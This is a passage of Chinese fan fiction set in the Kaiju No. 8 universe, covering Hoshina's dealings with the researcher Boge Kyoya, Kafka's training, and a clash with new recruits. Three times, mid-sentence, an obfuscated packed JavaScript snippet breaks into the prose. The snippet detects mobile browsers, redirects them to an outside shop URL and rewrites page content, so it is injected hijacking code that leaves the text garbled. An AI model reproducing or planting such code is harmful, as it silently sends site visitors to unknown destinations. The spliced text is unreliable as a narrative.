另一个队员插嘴,语气里带着点敬畏和不解:“我听说研究所那边的人私下叫她‘人形终端’?因为她脑子里好像装了整个防卫队的数据库,而且……”她也压低声音,“她好像不用睡觉的!有人值夜班的时候,总能看到她实验室的灯亮着。” “而且你们发现没,”梶田补充道,带着点分享秘密的兴奋,“她从来没单独出现在研究所外面过!总是跟在副队长旁边,跟个背后灵一样。” “但她长得是真好,”由美叹了口气,语气复杂,“那种好看……像出云科技上次推出的概念仿生人一样,又高又帅……” “帅?” “对啊,你不觉得她穿白色实验服都比别人好看吗,个子又高,脸的轮廓立体的像建模,就是帅气啊。” “我更好奇她到底什么来头,”梶田裹上浴巾,总结道,“神秘兮兮的,天天跟副队长后面,能把研究所那群眼高于顶的书呆子治得服服帖帖,对自己也狠得下心。这种女人……啧,绝对危险,但也真他妈的带劲。” 水雾渐渐散去,关于暮戈京矢的讨论也渐渐停歇,而她本人对此一无所知,或者说毫不在意。 又一次在食堂,不断有队员来跟保科打招呼后,两人找到位置坐下。 暮戈京矢并没有第一时间进入她的食不言寝不语模式,而是看着保科慢悠悠地说:“我现在相信你是凭真本事当上副队长的了。” 保科有些疑惑:“嗯?为什么这么说?” 暮戈京矢低头摆弄餐具:“毕竟,如果只靠这种‘微笑待机时长’来竞选,你早就该当总司令了。” 保科一边笑一边试图压下嘴角,他知道这是在调侃他标志性的、持续性的温和笑容,精准又促狭,但毫无恶意。 这段时间,保科的行动轨迹与这位技术指导高度绑定,他这才对自己的监管人身份有了切实的感受,简直像每天都带了个移动吐槽机器,这机器外表精良,大部分时候保持缄默,但时不时就会对他经手的事务进行尖锐犀利的点评。 是的,经过高密度接触,保科宗四郎发现,暮戈京矢竟然还有毒舌属性,大概是因为天才总是傲慢的吧,而一旦理解了她辛辣点评中独特的幽默,保科发现这绝对是工作时的一大趣味,尤其是她的讽刺对象不是自己时。 暮戈京矢现在采用每天组会的方式跟进研究进程,用她的话来说,外骨骼的搭建实践大于理论,素材重构完成之前,谁也不知道结果是什么,所以等待成了这项进程的主旋律,不用她每天泡在实验室。 保科因为好奇,去参加了一次她的组会。 所有十号研究组的成员排排坐,挨个汇报进度和想法,暮戈京矢坐在首位,手指轻敲着桌面,大部分时候头都不抬,只有听到一些明显脱轨的想法才会停下敲击的指节。 保科坐在她身侧,虽然听不太懂高深的技术用语,但每次听到有节奏的敲击声一停,就知道这个汇报人要惨了。 某位总部技术员在会议上提出一个基于二十年前理论的方案。 暮戈京矢听完陈述后,平静地说:“这个模型的精巧之处在于,它完美复刻了历史。” 对方还没反应过来,甚至有点高兴,“谢谢,我们确实参考了经典……” 暮戈京矢前倾身体打断他,露出一个毫无温度的微笑:“是的,就像用竹简来记录云端数据一样,充满了古典的、毫无意义的浪漫。” 她一挥手,屏幕上的模型被转了一圈:“现在告诉我,这玩意不会进回收站的理由。” 保科立刻低头假装咳嗽,掩饰笑意,这绝对是保科副队长想笑却不能笑,憋的最辛苦的一集,谁来管管她,哦对,自己好像就是监管人来着。 每次组会开完,所有人的脸色都可以用“劫后余生” “面如菜色” “心有余悸”等来分类,保科在一边看着都觉得很有压力,暮戈京矢听了他委婉的建议后,却跟他说: “如果不是要顾及总部的观察员,大部分人说出第一句话,我就会让他们回炉重造,”她讽刺一笑:“毕竟……我不能显得太过【独裁】。” 保科:“……”你这个实验室最大独裁者到底在说什么? 而她揭露性格中这尖锐的一角,反而让保科觉得跟她拉近了距离,两人之间的交流也不再只围绕着研究,偶尔,保科在办公室里会跟她说起工作上一些琐事,换来她两句不咸不淡的点评,从这些简短的对话,保科发现她的知识面涉猎相当广泛,上到防卫队与出云科技的合作模式,下到队式格斗术步法发力方法,她都能漫不经心听他说完,准确给出直指要害的建议。 一个午后,保科坐在办公桌前整理队员资料,暮戈京矢在他对面的沙发上,斜靠着翻从过往模型里总结出来的案例,厚厚的纸张被极快地翻动,她看上去心情不错,左手不断变换着手势,保科想起开组会需要讨论的时候,她说话时也经常不经意地加入一些奇怪的手势。 “暮戈,你这个动作……是有什么特殊含义吗?” 他带着好奇问:“开组会的时候也是,你解说的方式……很有感染力,和我见过的其他研究员不太一样” 沙发上的人动作一顿,看向自己的手:“啊,这是在意大利养成的坏习惯。那里的导师说,如果你的手不说话,你的想法就只表达了一半。” 她语气带着怀念的笑意。 这是个放松友好的信号,保科趁机追问:“我记得你去过很多国家,嗯,进行研究?能跟我讲讲吗?” “哦?研究,也可以这么说吧。” 暮戈果然没拿话刺他,只是换了个姿势,头朝保科这边躺在沙发上:“想听什么?海外稀有的怪兽样本?欧美防卫队军政一体?还是秘鲁地裂中能量勘测?” 保科按 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16685675|188811||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 捺住内心那个高喊着“都想听!”的自己,每一个都对他很有吸引力! 但他注意到暮戈说这话时眼中一闪而过的狡黠,便谨慎地保持了监管人的分寸:“嗯……这些算是重大机密了吧,我只是想听听你在世界各地的见闻,风土人情之类的。” 暮戈京矢笑了笑,觉得副队长这副强忍好奇、恪守分寸的样子很有意思。她假装没看见他最初听到那些机密词汇时骤然发亮的眼神,顺着他意思开口:“也是,工作内容等我的权限恢复了跟你讲方便一些,风土人情啊,我想想……” 她调整了一下躺姿,目光投向天花板,仿佛能穿透它看到往昔的地中海阳光:“在意大利东北部,我在威尼斯参加一个学术会议,会议地点在一座十六世纪的古老建筑里。你猜怎么着?报告做到一半,涨潮了,海水漫进了大厅。一群世界顶级的科学家,只能卷起裤管,踩着临时搭起的木板,一边小心翼翼地保持平衡,一边为某个量子模型的细节争得面红耳赤。” 保科忍不住想象那个画面,实在是过于超现实,他笑得肩膀都在抖:“然后呢?” “然后?”暮戈京矢耸耸肩,用一种倦怠的口吻说,“会议暂停一小时。主办方搬来了红酒和奶酪,大家就端着酒杯,站在水里和台阶上,继续刚才的争论。一位来自罗马的老教授对我说:‘亲爱的,知识是永恒的,但潮水三小时后就会退去。所以,为什么不先享受这杯酒呢?’” “这真是太……”保科找不到合适的词来形容这种浪漫的混乱。 “太不效率了,对吧?”暮戈替他说了出来,但眼里却没有丝毫责备,反而带着一点暖意,“但很奇怪,那个下午讨论出的几个构想,后来都成了关键项目的基石。也许……偶尔的混乱,确实是创造力的温床。” 保科把资料整理完毕,打包发送给亚白队长,觉得暮戈的声音出乎意料地适合讲故事,轻慢地,带点哑哑的尾音: “而南部的人把浪漫和危险都当作艺术。比如在正式场合,你可能会收到一个标准的‘吻手礼’。” “对保守的日本人来说可能有些难以想象吧,事实上,工作和社交场合经常需要这些礼仪,表达……尊敬和致意之类的。” 保科打开电脑上另一份文件:“听上去不错。” “事实上,我也深受影响,毕竟是古典骑士道的发源地……不过除了面食和艺术,还有些更……地下的规则。比如在西西里,他们有种独特的拒绝方式,叫‘Il bacio della morte’。” “死亡之吻?”保科重复了一遍这个带着不祥意味的词。 “嗯。当某位‘绅士’轻吻你的脸颊,不是说喜欢你,”暮戈京矢语气平淡的像在介绍西西里的天气: “而是在你耳边低语‘很遗憾,我们无法再合作了’。相当于一份优雅的死刑判决书。” 保科操作鼠标的手停住,完全没想到聊天画风似乎要朝某个奇怪的方向狂奔不复返了。 “我收到过一次,在那不勒斯,那些坚持古老家族主义的黑手党……” 保科彻底看不进去文件了,忍不住转头看向她:“什么?” 午后的阳光洒进办公室的窗子,穿过窗台的吊萝,在她脸上投下斑驳的光影,绀青的双眸半阖着,眼下一颗平时被碎发遮住的小痣格外清晰:“……为了一份高能量怪兽素材,把我拎到教堂里——我还以为那个老首领又发疯了让我对上帝祈祷呢,但是——” 她睁开双眼,两指并拢,在唇边印了一下:“——一个‘死亡之吻’。” 那两指比出一把手枪,她冲着保科看过来的方向伸直手臂:“多么迷人的决裂宣告。” “你……”保科的心提了起来,尽管知道她此刻安全地躺在眼前,“然后呢?” 然后呢?暮戈京矢看着办公室洁白的天花板,一抹阴影掠过她素白的面容,好像又回到那个昏暗阴冷的教堂,角落里点着让人作呕的老式香薰,Maria们像缄默的鸦群,她跪在地上,那些目光是如何落在她背上,那冰冷粗粝的唇是如何划过她的脸颊,血液好像都跟着冻结起来。 她又是如何暴起发难挟持老首领,用他那把保养得当的□□92杀出重围,那天的残阳像教堂地毯上的血一样红。 “我能出现在这里,当然是逃掉了。”她轻描淡写地带过,“礼仪很重要,但没有命重要。” 保科差点没上前摇晃她的肩膀:这么关键的节点你怎么跳过了?哪有你这么讲故事的啊! 保科宗四郎的好奇心彻底被这个带着浪漫和黑暗色彩的故事点燃了,正打算不管不顾地问到底,手机闹铃的响起,把他的理智拉了回来。 “看来,讲故事时间结束了。”暮戈京矢坐起身来。 “咳,我得去第一部队那边了,”保科不无遗憾地说。“卡夫卡在等我。” 9. 训练与九号袭击的真相 有明临海基地是第一部队驻扎地,这支防卫队王牌战力奉行最纯粹的实力至上主义,从不对外招收队员,只在每年部队联合交流演习时吸取精英队员,或者挑选各大军队和讨伐高校的人才,据说第一部队人均解放战力能达到52%,个个有一般部队小队长的水平。 日比野卡夫卡是怪兽八号一事暴露后,便收编在第一部队,由【最强】鸣海弦队长监管。 自从上周见了卡夫卡一面后,保科就跟他约定好,一周来两次有明基地,训练他作为人类的战斗技巧。 想到上周时隔巨变第一次见到卡夫卡时,他坚定的宣告【我绝对不想再看到同伴哭泣了,所以,我要变成8号去战斗】,保科还是颇有触动——那家伙,一脸认真地说出了很了不得的话呢,明明只是个1%的笨蛋大叔。 不过,他不讨厌这种,倒不如说,他一直都很欣赏卡夫卡那样简单却执着的人。 这份欣赏在一个小时后就被打破了。 “砰!” 日比野卡夫卡高大的身体重重倒在训练场的地面上,双眼无神盯着天花板,嘴里念叨着:“我不行了,保科副队长,中场休息……” 保科穿着紧身训练服,好整以暇地溜达到他身边,轻轻踢了踢他的手臂:“比上周有进步,不过距离我的标准还差的远呢。” 卡夫卡露出死鱼眼:“……跟你比……站着说话不腰疼……” 保科笑眯眯:“你说什么?” 卡夫卡一个激灵:“我是说!您辛苦了!” 保科被他这幅逊样逗笑了,估摸着确实到了他的极限,与他面对面坐下来:“对了,关于你上周说的那个步法问题,试试新的发力点。” 他简略讲解了一下,卡夫卡从一脸茫然到恍然大悟,挣扎着站起来跃跃欲试。 “别急,我先给你做个示范。” 保科说着站起来后撤一步,左足尖轻轻一点,整个身体如豹猫般骤然压低。下一瞬,左足弓猛然发力,力道从脚踝贯穿至腰脊,带起一道流畅的旋身——右腿在空中划出凛冽的圆弧,破空声短促而清脆,像一道骤然撕裂训练场空气的鞭鸣。 动作骤起骤停,他轻巧收势,训练服勾勒出的肌肉线条随呼吸平复,“像这样,我之前教你的版本是跳起来腰腹发力,其实并不合适你,你的体型体重远高于我,重心落在地面上,脚踏实地的发力能起到更好的效果” 卡夫卡认真观摩这一凌厉的踢击,发出了疑问:“可是这样效果会不会打折扣?” 保科摇头:“对你来说,跳起来只会浪费力量和平衡。要像这样——把体重压进去,用地面做支点,把整个身体的重量‘甩’出去,而不是‘跳’出去。” 不是所有人都能做到同时具备轻盈和爆发的,保科宗四郎对身体的控制已经达到登峰造极的水平,而日比野卡夫卡半路出家,自然要做出调整。 “来,试试,”保科拿起一旁的软垫,“按我刚刚的发力方式。” 卡夫卡深呼吸,沉下身体踢出一击,“嘭!” 这次他没再出现重心不稳问题,力道稳稳传递给了软垫后的保科。 “没错,这次发力轨迹干净多了,记住这个感觉。”保科满意地点点头。 日比野卡夫卡兴奋地挥了挥拳:“谢谢您的指导!还专门为我调整动作……” “啊,这个改动不是我想出来的哦。”保科活动着手臂,“是暮……那位负责十号战斗服研发的研究员提出的。” 卡夫卡挠了挠头:“上次也听您说起她了,到底是怎样的一个人啊?长什么样子?” “……”保科话到嘴边又咽下,试图客观地对卡夫卡描述:“跟你一样是黑发,不过她头发软一点,嗯,绿色的眼睛是最明显的特征,眼下有痣……” “等等!”卡夫卡突然打断他,“绿色的眼睛?是不是那种深深的,像……潭水一样?” 保科有些惊讶:“大概是吧,这个形容挺贴切的——你见过她?” “那不是暮戈前辈吗!”卡夫卡露出爽朗的笑容:“好久没见她,原来去立川基地了啊。” “?”这实打实有些超出保科预料了,这种感觉就像,自己小心翼翼拼凑了许久的稀有拼图,刚看出些眉目,隔壁邻居家大叔却跟他说自己看过柄图一样。 他下意识过了一遍卡夫卡入队后的经历,精确地抓住了唯一可能的时间点。 “你……在审查期间认识她的?” 卡夫卡的笑容收敛了些,带着对那段特殊时期的清晰记忆:“是的。当时……在我最混乱的时候,除了鸣海队长,就是暮戈前辈负责我的生物指标评估。” 他顿了顿,语气变得郑重:“最开始,是‘第七组’负责对接我,但我最后只见过她一个人——四之宫长官为我担保后,是她花了大量时间,帮我理解体内这股力量,告诉我如何分辨‘怪兽的躁动’和我自己的情绪。” 保科静静地听着,他想到亚白队长对她的定义:四之宫功的左右手。 这么想来,怪兽八号的风险评估,暮戈京矢参与其中反而理所当然了,在某种程度上,她也曾是卡夫卡的“引导者”。这份源于特殊时期的联结,其分量远非一次联合任务可比。 “而且……”卡夫卡的声音低沉下来,眼中闪过一丝复杂的敬畏,“九号袭击现场,她也在。” 保科瞳孔微缩。九号袭击的细节被总部严格封锁,现场一片废墟,没留下任何影像,所有报告都语焉不详,只确认了结果。他看过的复原报告里,最关键的那次对九号的沉重打击,被归结于 “现场一台临近报废的‘长矛’自动防御炮塔,在遭受能量波及后,发生了无法复现的奇迹性过载射击”。 这个技术解释在逻辑上无懈可击,毕竟现场设备损毁严重,死无对证。 可现在,卡夫卡却说…… “当时一片混乱,”卡夫卡回忆着,语气带着身临其境的紧绷,“我护住奇可露后回头,看见她站在那片废墟里……脚下是碎了一地的枪械和战术服碎片,血从手臂往下淌……但她好像完全感觉不到。” 保科瞬间明白了。根本没有什么“奇迹过载的炮塔”。 卡夫卡深吸一口气,总结道:“那一枪……是她开的。用普通的队式步枪,强行过载,打出了近乎战略级武器的效果,可惜还是让九号跑了。” 他攥紧拳头,指节因为用力而发白:“如果……如果那时我能更强一点,对九号造成更大的损伤,说不定……说不定暮戈前辈那一枪,就能直接打碎九号的核。” 保科看着卡夫卡,他能感受到这份沉重的自责,也知道这时所有空泛的安慰都是无力的,只是拍了拍他的肩:“看来我们都欠她一句感谢。好了,休息时间结束,我们继续训练。” 他声音恢复了往日的温和,却带着不容置疑:“把这份‘如果’,变成下一次的‘一定’。” 卡夫卡怔了一下,随即,他眼中的迷茫与自责渐渐被点燃,化作更为坚定的光芒。他用力点头,不再言语,而是沉下心,再次摆开了训练的架势。 指导卡夫卡训练结束后,保科披上队服走在有明基地的走廊,一向条理清晰的大脑却有些混乱,他好像揭开了暮戈京矢身上一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16685676|188811||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 部分秘密,但又好像随之带来了更多的谜团,在这种非常时期,这可不是什么好兆头。 刚转到一个楼梯口,就听到了一个熟悉的声音在嚷嚷:“放开我!长谷川!训练那群菜鸟只是在浪费我的时间!” 保科:“……” 他利落地转头就走——现在他可没心情跟麻烦的第一部队队长吵嘴,天知道长谷川怎么忍得了这位性格幼稚品行散漫的【最强】这么久的。 而一个念头突然闯入他的脑海:如果说卡夫卡是因为身份原因没有话语权,那个桀骜不驯的鸣海弦又是为什么对九号袭击的真实现场保持沉默呢?他可不是因为总部施压就隐瞒战场情报的人。 就这么一耽搁,楼梯口里的长谷川已经完成了对鸣海弦的镇压,听声音鸣海弦应该是骂骂咧咧地往地下训练场去了,长谷川走出来,正好撞上欲走不走的保科宗四郎。 他身形极为高大,几乎将走廊的光线遮去大半,深黑色的第一部队制服熨烫得没有一丝褶皱,扣子严谨地扣到最上一颗。那张线条硬朗的脸上惯常没什么表情,此刻看到保科,紧抿的唇角几不可查地松动了一丝。 “宗四郎。”长谷川的声音低沉平稳,带着长辈称呼看重的后辈时那种自然的熟稔,”来得正好,我这里有件事需要你协助。” 他言简意赅,随即转身示意保科跟上,步伐沉稳地走向自己的办公室。保科对此并无异议,长谷川是第一部队的资深副队长,无论是资历还是能力都值得他敬重。 在陈设简洁的办公室里,不苟言笑的长辈的目光先在保科还带着运动后湿气的发梢上扫过,不等他开口便了然道:“是来指导卡夫卡吧。辛苦了,那孩子让你费心了。” 保科迅速挂上无可挑剔的笑容,心里却飞速盘算着。长谷川是第一部队的实际管理者,也是极少数能完全压制鸣海队长的存在,他不可能不知道九号事件的真相。 “只是例行训练而已,长谷川先生。”保科语气恭敬,措辞却带着小心翼翼的试探,“卡夫卡进步很快,刚才……我们还聊起了一些过去的事,关于九号袭击的现场。” 他紧紧盯着长谷川的脸,试图从那片威严的平静中捕捉到一丝波动。 长谷川的眉头几不可察地蹙了一下,那并非不悦,更像是一种“该来的总会来”的深沉。 他没有第一时间接保科的话,转身从专用保险柜中取出一个小小的银灰色合金手提箱,平稳地放在桌面上,推向保科。 “把这个转交给京矢,”他交代道,语气公事公办,称呼却很是亲密,“另外,带一句话给她——‘物归原主,好好使用’。” 保科上前一步,双手接过箱子,入手是沉甸甸的分量和金属特有的冰凉触感。他敏锐地察觉到这个称呼是在隐晦表达他的立场,斟酌了一下用词,谨慎地开口:“长谷川先生,关于暮戈指导,我……” 长谷川抬起一只手,用一个明确而不失礼的手势制止了他后续的探询。他看着保科,目光里带着属于前辈的些许告诫和关切。 “宗四郎,”他的声音低沉而清晰,“你只需记住一点:她不会成为你的敌人。” 这句话说得清晰明了,带着长谷川一贯的分量。 “至于其他细节,”他转过身,望向窗外有明基地的景色,“在获得权限前,自行判断。我相信你的能力,宗四郎。” 保科握紧了手提箱的握柄,冰冷的触感让他清醒。他明白,这就是长谷川基于规定和立场能给出的全部信息了。 “我明白了,长谷川先生。”他持重地点头,“东西和话,我都会带到。” 10. 立川基地二三事(7) 当保科把那个手提箱交给暮戈京矢时,她没什么特别的反应,但听到那句带话“物归原主,好好使用。”,她眼中闪过一丝复杂的光亮,轻声抱怨了一句:“……真会使唤人。” 随即就要当着保科面打开那个箱子,保科连忙表示回避,暮戈京矢却摆摆手:“没关系。” 她用指纹解锁金属卡扣,拉开把手——里面只有一个轻薄的终端静静躺在那,下面压着几张公文。 “交互式医疗舱项目第四阶段立项批复?” 保科念出了那个冗长的标题,暮戈却已经伸手把箱子扫到实验台的角落,继续摆弄大屏上的物理模型,丝毫没有解释的意思。 保科看着她,光屏的冷光打在她专注的侧脸——她有一副能画下来的轮廓。 时机不对,场景也不对,保科暗自叹了口气,把满心疑问压了下去。 保科原本以为,那个箱子的交接会是一个契机,让他能顺势拨开环绕在暮戈京矢身边的迷雾。他甚至在心里预演了几次对话的开场,试图在恰当的时机,用不那么刻意的方式,触及那些沉重的话题——关于九号事件,关于她的过去,关于那个神秘的医疗舱项目。 然而,立川基地的日常从未给他这样的“恰当时机”。 新一批候选队员的入队考核进入了最关键的综合评定阶段,大量的数据需要他这位副队长亲自复核。与此同时,总部文书检查的后续整改报告、几个小队在联合演习中的装备损耗申报、甚至是新安装的净化水系统时不时发出的诡异鸣响……无数琐碎却紧急的事务如同潮水般涌来,瞬间淹没了他的个人时间,暮戈好像也开始忙新接手的那个项目,与十号开发双线进行,最近整个人连走路都带着匆忙的风。 他依旧每天例行公事地与暮戈见面,完成“监管人”的职责,但场合多半是匆匆前往研究所的路上,或是人声嘈杂的食堂。谈话内容也被严格限制在“十号外骨骼的耐压测试数据是否异常”或“总部新下发的那份格式要求你看了吗”这类公务上。 那个银灰色的箱子仿佛只是一个微不足道的插曲,被暮戈随手塞进实验室的某个角落,再未提起。而保科心中那些亟待解答的疑问,也在这场突如其来的忙碌中,被无奈地搁置、延后。他偶尔在深夜加班时,会望着窗外研究所依旧亮着的灯光出神,但下一秒,就可能被新的通讯请求打断思绪。 某个再普通也在忙碌不过的工作日,保科从单人训练场回到办公室,端着咖啡杯刚开始思考“暮戈京矢”这个疑难问题—— “副队长!不好了!” 办公室门被猛地推开,两个鼻青脸肿的新队员像麻袋一样被通信员由美丢了进来。 “他们两个!在格纳库为了争谁去给‘雷神’(一台大型防御炮塔)做日常保养,打起来了!”由美气得脸颊鼓鼓的。 保科:“……” 世界存亡的秘密瞬间被“谁擦炮管”的哲学问题取代。 他深吸一口气,脸上熟练地挂起无可挑剔的温和笑容,深红的眼眸扫过两个鹌鹑一样的队员:“说说看,怎么回事?” “他、他说我上周保养‘疾风’一架高速侦察机)时螺丝拧歪了零点一圈!污蔑!这是污蔑!”队员A激动地挥舞手臂。 “数据流显示就是有微小偏差!副队长教导我们对待装备要像对待恋人一样精心!”队员B据理力争。 保科忍着扶额的冲动,感觉自己不是在处理队员纠纷,而是在调解幼儿园小朋友关于“谁的积木搭得更高”的争端。他耐心地讲解团队协作的重要性,并“奖励”他们共同负责未来一个月全基地的装备初级保养记录。 刚送走垂头丧气的两人,行政班的小此木又抱着一摞几乎能把她淹没的文件冲了进来。 “副队长!总部后勤部突然通知要来进行季度文书检查!这些、这些,还有这些,都需要您今天之内复核签字!”小此木的声音带着哭腔,“他们明明说好是下周的!” 保科看着那摞文件,感觉自己的胃已经开始提前抽搐。 就在这时,他的个人终端不合时宜地响起,屏幕上跳出一个陌生的内部代码。他下意识接起。 “喂?是保科副队长吗?”一个稚嫩又紧张的声音传来,“我、我是今天刚报到的新人!请问……请问食堂的Wi-Fi密码是多少?我找不到联络员姐姐……” “……”保科沉默了两秒,用堪比人工智能的温柔语调回答:“是‘Defenser-III-Tachikawa’,全部大写,中间是罗马数字三。祝你用餐愉快。” 挂掉电话,他面对着小此木和那摞文件,露出了一个仿佛能照亮整个立川基地的、无比灿烂却也无比空洞的笑容:“好的,小此木,我们开始吧。” 几天后,立川基地中央训练场。 新一轮的队员选拔测试正在这里举行。场地上,年轻的候选者们正在接受严苛的体能、战术反应与怪兽知识考核,空气中弥漫着汗水与紧张的气息。 保科站在高高的看台上,注视着下方的筛选过程。让他有些意外的是,暮戈京矢今天似乎终于从研究中暂时抽身,安静地站在他身侧稍后一点的位置。她依旧穿着那件标志性的白大褂,双手插在口袋里,绀青色的眼眸平静地扫过场中拼搏的身影,看不出什么情绪。 “看到他们,就像看到了当年的自己。”保科自然地开口,打破了沉默,语气带着一丝怀念,“拼尽全力,只想抓住一个能留下来的机会。” 暮戈京矢却皱皱眉——这对她来说是一个罕见的动作:“为什么要在这种动荡时期选拔新队员?” 保科明白她的言下之意,九号的宣战还悬在防卫队每个人的头顶,这时候选拔新人,无疑会让他们面对更仓促的风险,更残酷的战场,但…… “总部的意思是,之前立川基地遇袭,一批人员被调动到其他队,现在必须补充战力,东京是重要关口,第三部队负责部分不容有失。”他无奈道。 “然后让这群连枪都端不明白的小孩去填兵线吗?”暮戈尖刻地反问,随口指出了这批新人十几个不足之处,就差把他们贬得一无是处,“我以为防卫队的战略方针已经脱离了中世纪呢。” “……”保科哑口无言,他不会安排这群新人进行任何可能有“九号风险”的外勤,但也无法保证他们真的不会被波及,更何况她没说错,事急从权,这批新人平均水平确实欠佳,与往年相比都有所逊色,更不用跟上一届四之宫奇可露,市川莱诺,出云春一,神乐木葵他们比了,天才辈出的一届只能说可遇不可求。 暮戈京矢却已经敛下神色,主动翻过了这个话题:“……抱歉,没有针对你的意思,你刚才说什么?” 她转过身,做足了弥补的倾听姿态,绀青色双眼专注在保科的脸上。 “……没什么。”保科原本“从新人选拔话题转到她入队的过去”的聊天战略彻底进行不下去了,并再次产生了深深的忧虑——这群新队员该何去何从? 不管大形势怎样,新一批队员还是在立川基地扎根下来,带来一股青涩稚嫩,但又冲动气盛的新生力量,同时,选拔那天副队长和暮戈京矢的对话也传到了这群新人中。 保科宗四郎在长期接触后能理解她包含在尖酸刻薄下的担心,落在这群血气方刚的新人耳中却不是那个味,于是隔天,暮戈京矢在走廊上被堵住了。 “暮戈研究员,请留步!”为首的少年上前一步,浓眉中拧着倔强和不服气,提高嗓门粗声道:“我们想请教你一个问题!” 语气是个人都能听出来者不善,四周瞬间响起一片低低的抽气声,走廊里清晨刚结束早训,本来有些疲惫的老队员们立刻支棱起来了,要去洗漱的也不洗漱了,要去吃饭的也不吃饭了,全都驻足围观这几个初生牛犊不怕虎的勇士——新来的毛头小子对上那位慕戈指导,多么难得一见的场面! 暮戈京矢眼下带着连轴转53小时没合眼的淡青,像看一堆难以名状的高噪音废品似的抬眼扫过他们——时机选的不错,她刚从研究所钻出来,跟保科打了个报告要去他办公室,在这些天的忙碌中,两人间“监管”的界限早已逐渐模糊,偶尔监管人抽不出身时,她就在终端打声招呼,自己去找他,当然她不知道的是,这种默契的纵容背后,是保科在有明基地获得的信息和保证。 但总之,现在是她难得落单的时候。 暮戈京矢此时分外想念副队长办公室的沙发和阳光,刚想让他们从哪来滚回哪去,手腕上的限制器微微振动,一丝兴味在眼底划过,话在她嘴里转了个弯,出口变成了:“说。” 她这幅态度更是火上浇油,少年深吸了一口气,大声说:“关于您前天在训练场上的评价,我认为您在不了解我们具体训练内容和目标的情况下,做出的判断是很不专业且不负责任的!” 他站得笔直,下颌微抬,语气变得强硬:“我们是经过严格选拔的防卫队员候补,我们的努力和潜力,不应该被外行如此轻蔑地对待!” 这话一出,周围响起一阵赞叹——是个狠人!一位高大的队员慌慌张张闻讯赶来,却也只敢缩在人群后:“惨啦!我忘了告诉这几个混小子关于暮戈指导的事了!”,周围人好奇问他:“领头的谁啊?这么横?敢带着人在走廊上堵人。” 高个子队员咳了一声:“他很有点天赋,体能和理论 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16685677|188811||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 成绩在这一批新人中都名列前茅,初次解放战力好像有——15%。” ——“我,神崎亮,以个人名义,要求您收回那些评价!并且,为您不尊重人的态度,向我们道歉!” 这下走廊里没人说话了,相当一部分人等着看暮戈指导如何回应。 在一片安静中,暮戈京矢开口了,她点点头,目光落在神崎亮身上:“军校毕业的?勇气可嘉。” 神崎亮只当她看过他的报考资料,骄傲地点头承认。 “想必,你也自诩才能出众,是人群中的佼佼者,”她拖长语调,用那种轻柔的语气说,“我见过很多所谓的‘天才’,而他们大多数连名字都没来得及让我记住,就变成了一串伤亡数字。” 神崎亮涨红了脸:“你.....” 她继续又慢又轻地说:“真是令人遗憾......希望你的运气。能比你的脾气好一点。” 毫无疑问,暮戈技术指导独特的刻薄还不是初出茅庐的军校生能承受的,神崎亮不顾同伴拉着他的手,几乎要冲到她脸前:“你根本没资格用那种态度评价我们!你不过是个研究员,懂什么前线战斗的艰辛和我们的努力!” 熟悉的脚步声已经在走廊尽头响起,眼前愤怒的少年声音很大,响彻整个走廊,暮戈京矢听到那脚步声一顿,随即加快了步伐,确认来人已经能听到对话。 “资格?”她轻轻重复这个词,带了点意味不明的戏谑,忽然话锋一转,抛出一个毫不相干的问题: “你觉得,你能比得上你们副队长吗?” 神崎亮猛地卡壳,一腔怒火像是被戳破的气球,瞬间漏了气。他张了张嘴,几乎是本能地反驳:“这、这怎么能比!副队长他当然……” “他当然怎样?”暮戈京矢步步紧逼,语气依旧轻柔,甚至带出点甜腻的意味:“他当然是天才?是榜样?是你们望尘莫及的存在?那么——” “这根本是两回事!”神崎亮试图挣扎,声音因激动而拔高,“副队长的强大是实打实的战绩!而你呢?你除了会说这些刻薄话,还有什么能证明你的‘资格’?谁知道你是不是靠关系……” 暮戈京矢却露出了一个恶作剧得逞的微小笑容——周围又响起此起彼伏的抽气声:“她笑了!” “我天,我第一次见!” 就在这时,保科宗四郎终于穿过人群来到了风暴中心。他脸上惯常的温和笑容有些僵硬,深红色眼眸里更是写满了近乎绝望的尴尬。他隔着老远就听到了对话,尤其是那几句“跟你们副队长比呢” “懂什么前线的艰辛。” “靠关系”,差点听得他脚下一滑。 救命!谁来让这孩子闭嘴! 保科在内心发出无声的尖叫。他根本不知道他面前站着的是谁!那可是在九号袭击中,顶着漫天废墟和死亡威胁,单枪匹马打出关键一击的人! “暮戈指导!神崎!”他出声打断这令人窒息的对话,语气带着恰到好处的急切与严肃,“都在这里围着做什么?” 他的出现让神崎亮像是看到了救星,但保科只觉得这孩子眼里闪烁的崇拜和委屈此刻格外刺眼。 